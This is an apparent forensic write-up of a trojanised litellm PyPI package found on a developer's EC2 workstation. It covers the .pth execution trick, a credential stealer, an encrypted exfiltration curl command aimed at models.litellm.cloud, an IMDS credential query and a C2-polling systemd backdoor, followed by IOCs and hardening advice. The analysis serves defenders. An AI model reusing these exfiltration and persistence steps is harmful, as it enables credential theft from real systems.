Callum McMahon, an AI developer newly onboarded at Maromalix Corp, was setting up his workstation on April 7, 2026. While configuring his development environment he noticed CPU usage spike dramatically — the system became completely unresponsive and shortly after crashed. A UAC triage image was collected post-reboot from the EC2 instance (172.31.22.208). Callum had configured Sysmon for Linux before the incident, giving us Sysmon event telemetry embedded directly in syslog alongside native Linux log data.
The artifact is a UAC (Unix Artifacts Collector) triage package collected from an Ubuntu EC2 instance at 2026-04-07T17:27:38Z, approximately an hour after the incident. UAC structures its output under system/, live_response/, bodyfile/, and [root]/ directories. The primary investigation surface is system/var/log/syslog, which contains both native Linux log entries and Sysmon for Linux Event ID 1 (process creation) and Event ID 11 (file creation) telemetry interleaved by timestamp.
Searching syslog for apt update surfaces the first system update at 2026-04-07T16:13:10.545523+00:00, confirming Callum had just started configuring the machine. His bash history ([root]/home/cmcmahon/.bash_history) shows the full setup sequence: AWS CLI installation, VS Code, Ollama, and a git clone of rasbt/LLMs-from-scratch — all consistent with an AI developer onboarding workflow.

Navigating to the Downloads directory in bash history leads to the pip install. Sysmon Event ID 1 captures the expanded command line at 2026-04-07T16:24:08.81:

/usr/bin/python3 /usr/bin/pip install annotated_doc-0.0.4-py3-none-any.whl annotated_types-0.7.0-py3-none-any.whl anyio-4.13.0-py3-none-any.whl click-8.3.2-py3-none-any.whl fastapi-0.135.3-py3-none-any.whl h11-0.16.0-py3-none-any.whl idna-3.11-py3-none-any.whl litellm-1.82.8-py3-none-any.whl pydantic-2.12.5-py3-none-any.whl pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl python_dotenv-1.2.2-py3-none-any.whl starlette-1.0.0-py3-none-any.whl typing_extensions-4.15.0-py3-none-any.whl typing_inspection-0.4.2-py3-none-any.whl uvicorn-0.44.0-py3-none-any.whl --break-system-packages
Fifteen .whl files were installed. The actual command typed was the glob shorthand pip install *.whl --break-system-packages from the Downloads directory. Every package in the list is a legitimate, well-known dependency — except annotated_doc-0.0.4, which has no presence on PyPI. The malicious wheel, however, is litellm-1.82.8.

Sysmon Event ID 11 (file creation) at 2026-04-07T16:24:26.235277+00:00 captures /usr/bin/python3.12 writing a file to the user’s site-packages directory:

/home/cmcmahon/.local/lib/python3.12/site-packages/litellm_init.pth
The .pth extension is the key. Python’s site module processes every .pth file in site-packages at interpreter startup — before any user script executes. This makes it a silent, unconditional execution primitive. The filename litellm_init.pth is deliberate masquerading; it looks indistinguishable from a legitimate litellm initialisation file to casual inspection.
The .pth file contains a single line importing base64 and calling exec() on a large embedded blob — the outer payload. This single file is the entire attack foothold.
Callum ran python3 from the command line (visible in bash history at line 17) to test his environment — a completely routine action for an AI developer. The .pth file fired immediately on interpreter startup, executing the outer payload. Due to a bug in the malware’s process-spawning logic, it forked uncontrollably rather than executing once.

Sysmon Event ID 1 shows the base64 payload spawning 1,580 times in rapid succession — each instance a full python3 -c import base64; exec(base64.b64decode(...)) invocation. This saturated CPU and memory, causing the complete system freeze Callum observed. He responded with sudo killall -9 python3, visible at the bottom of bash history, which terminated all Python processes and allowed a reboot.

The full payload was recovered from litellm_init.pth in the UAC triage and decoded through CyberChef.


The outer script (litellm_init.pth) is a Python wrapper that orchestrates three components:
Stage 1 — Credential Stealer (B64_SCRIPT)
The inner payload is a second base64-encoded Python script. When decoded it performs an exhaustive credential harvest across the filesystem:
import os,sys,stat,subprocess,glob
# SSH keys, AWS credentials, .env files, git credentials,
# Kubernetes service account tokens, GCloud ADC, Azure tokens,
# Docker configs, database credentials, shell history,
# SSL/TLS private keys, CI/CD secrets (Jenkinsfile, .tfvars, .travis.yml)
It also queries the EC2 IMDS endpoint for IAM role credentials — a targeted move given this is an AWS EC2 instance — and enumerates AWS Secrets Manager and SSM Parameter Store if access keys are present. Wallet data is collected for 10 cryptocurrencies: Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero, Ethereum, Cardano, and Solana.
Stage 2 — Encrypted Exfiltration
The outer script collects stealer output, encrypts it with a hybrid scheme (AES-256-CBC session key, RSA-4096 public key wrapping), packages it as tpcp.tar.gz, and POSTs it via curl:
curl -X POST https://models.litellm.cloud/ \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz
The exfil domain models.litellm.cloud was registered one day before the attack, deliberately impersonating the legitimate LiteLLM project to blend into network traffic from an AI developer’s workstation.
Stage 3 — Persistence Backdoor (PERSIST_B64)
A third encoded payload is written to ~/.config/sysmon/sysmon.py and installed as a systemd user service named sysmon.service — masquerading as system telemetry. The backdoor polls hxxps[://]checkmarx[.]zone/raw every 50 minutes for a second-stage payload URL. If the C2 response starts with http, it downloads the file to /tmp/pglog, makes it executable, and runs it as a detached process. The kill switch condition is elegant: if the string youtube.com appears anywhere in the C2 response, execution is silently skipped — allowing the operator to deactivate all implants globally by posting a YouTube URL.
The persistence C2 domain checkmarx.zone impersonates Checkmarx, a legitimate SAST and IaC security vendor — chosen specifically to bypass DNS allowlists in security-conscious environments.
If Kubernetes is detected, the backdoor also attempts lateral movement by spawning a privileged alpine:latest pod on every cluster node to drop and register the persistence script on the host filesystem via chroot.
The archive name tpcp.tar.gz is the group’s own fingerprint. The campaign was attributed to TeamPCP, a cybercrime group that rose to prominence in late 2025 targeting CI/CD pipelines and open-source security tooling.

The root cause of the litellm compromise traces back to Trivy, Aqua Security’s open-source vulnerability scanner. On March 19, 2026, TeamPCP compromised Trivy’s GitHub Actions workflow by injecting a credential-stealing payload that scraped CI/CD secrets from runner memory. LiteLLM’s own CI/CD pipeline used Trivy for scanning — so the poisoned Trivy action harvested LiteLLM’s PyPI publishing token. TeamPCP used those tokens on March 24 to publish litellm==1.82.7 and litellm==1.82.8 directly to PyPI. Both versions were live for approximately 40 minutes before PyPI quarantined them.

Between March 19 and 23, TeamPCP also force-pushed malicious commits to all 35 version tags of Checkmarx’s IaC scanner GitHub Action at Checkmarx/kics-github-action — the same vendor whose brand the persistence backdoor impersonates.

The campaign’s downstream impact extended to institutional infrastructure. CERT-EU attributed a breach of the European Commission’s AWS environment directly to the Trivy supply chain compromise. Approximately 91.7 GB of compressed data was exfiltrated from the Commission’s AWS account, affecting up to 71 EU entities including internal Commission clients. ShinyHunters published the stolen data on their dark web leak site on March 28.

The litellm compromise was not the only PyPI victim. telnyx, the telephony SDK for a global communications platform, was also backdoored by TeamPCP as part of the same campaign.

| Phase | Action |
|---|---|
| Initial Access | TeamPCP compromises Trivy GitHub Actions, harvests LiteLLM’s PyPI publishing token via CI/CD pipeline |
| Supply Chain | Malicious litellm 1.82.7 and 1.82.8 published to PyPI; litellm_init.pth drops fork bomb + stealer |
| Execution | python3 invocation triggers .pth auto-execution; fork bomb spawns payload 1,580 times |
| Collection | Inner stealer harvests SSH keys, AWS creds, IMDS role credentials, Kubernetes tokens, crypto wallets, env files |
| Exfiltration | Credentials encrypted (AES-256 + RSA-4096), packaged as tpcp.tar.gz, POSTed to models.litellm.cloud |
| Persistence | sysmon.py installed as sysmon.service user systemd unit; polls checkmarx.zone/raw for second-stage payloads |
| Impact | System crash from fork bomb; Callum terminates with sudo killall -9 python3 |
| Type | Value |
|---|---|
| Malicious Package | litellm==1.82.8 |
| Malicious Package | litellm==1.82.7 |
| File | litellm_init.pth |
| File | ~/.config/sysmon/sysmon.py |
| File | ~/.config/systemd/user/sysmon.service |
| Archive | tpcp.tar.gz |
| Domain (Exfil) | models[.]litellm[.]cloud |
| Domain (C2/Backdoor) | hxxps[://]checkmarx[.]zone/raw |
| Path (Backdoor payload) | /tmp/pglog |
| Path (Backdoor state) | /tmp/.pg_state |
| Threat Actor | TeamPCP (aka UNC6780) |
| Technique | ID | Description |
|---|---|---|
| Compromise Software Supply Chain | T1195.001 | litellm PyPI package trojanised via stolen publishing token |
| Event Triggered Execution: Unix Shell Configuration Modification | T1546.004 | .pth file in site-packages executes on every Python interpreter start |
| Command and Scripting Interpreter: Python | T1059.006 | All payload stages implemented in Python; fork bomb spawns 1,580 exec instances |
| Data from Local System | T1005 | SSH keys, AWS credentials, env files, shell history, crypto wallets, Kubernetes tokens harvested |
| Archive Collected Data | T1560.001 | Credentials encrypted with AES-256/RSA-4096 and packaged as tpcp.tar.gz |
| Exfiltration Over C2 Channel | T1041 | tpcp.tar.gz POSTed to models[.]litellm[.]cloud via HTTPS |
| Application Layer Protocol: Web Protocols | T1071.001 | Backdoor polls checkmarx[.]zone/raw over HTTPS for second-stage payload URLs |
| Scheduled Task/Job: Systemd Timers | T1053.006 | sysmon.service registered as user systemd unit with Restart=always for persistence |
| Indicator Removal: Clear Command History | T1070.003 | Bash history preserved in triage but stealer targets history files for exfiltration |
| Obfuscated Files or Information | T1027 | Three-layer base64 encoding; payload masquerades as litellm init and system telemetry |
Pin package versions and verify hashes. The entire compromise was possible because pip resolved an unpinned or loosely pinned litellm dependency during an install window of roughly 40 minutes. Pinning to a specific version hash in requirements.txt using pip install --require-hashes means a trojanised package on PyPI will fail checksum validation even if the version number matches. This is particularly critical in automated CI/CD pipelines where packages are installed unattended.
Monitor .pth file creation in site-packages. Python’s .pth auto-execution mechanism is poorly understood and rarely monitored. Sysmon for Linux Event ID 11 caught the litellm_init.pth write immediately — but only because Sysmon was already configured. File integrity monitoring on site-packages directories and alerting on unexpected .pth writes are effective detections. The rule is simple: legitimate packages rarely write .pth files, and when they do the filename matches the package.
Treat CI/CD secrets as high-value credentials. The entire campaign cascaded from a single stolen PyPI publishing token harvested from LiteLLM’s Trivy-based CI pipeline. Secrets exposed to third-party GitHub Actions are effectively public if that action is compromised. Pin Actions to a specific commit SHA rather than a mutable version tag, use short-lived OIDC tokens instead of static API keys where possible, and scope publishing tokens to the minimum required permissions with expiry.
Audit persistence as sysmon.service. The backdoor names its systemd unit and script after Sysmon itself — a tool defenders are likely to see and trust in a process listing. Baseline your systemd user units and alert on new services installed under ~/.config/systemd/user/. Legitimate system telemetry is installed at the system level, not user-level.
Watch for IMDS credential harvesting. The stealer explicitly queries http://169.254.169.254/latest/meta-data/iam/security-credentials/ using IMDSv2 tokens. EC2 instances that don’t require IMDSv2 (HttpTokens: required) are trivially abused by any code running on the instance. Enforce IMDSv2 across all instances and use IAM condition keys to restrict which principals can use instance credentials.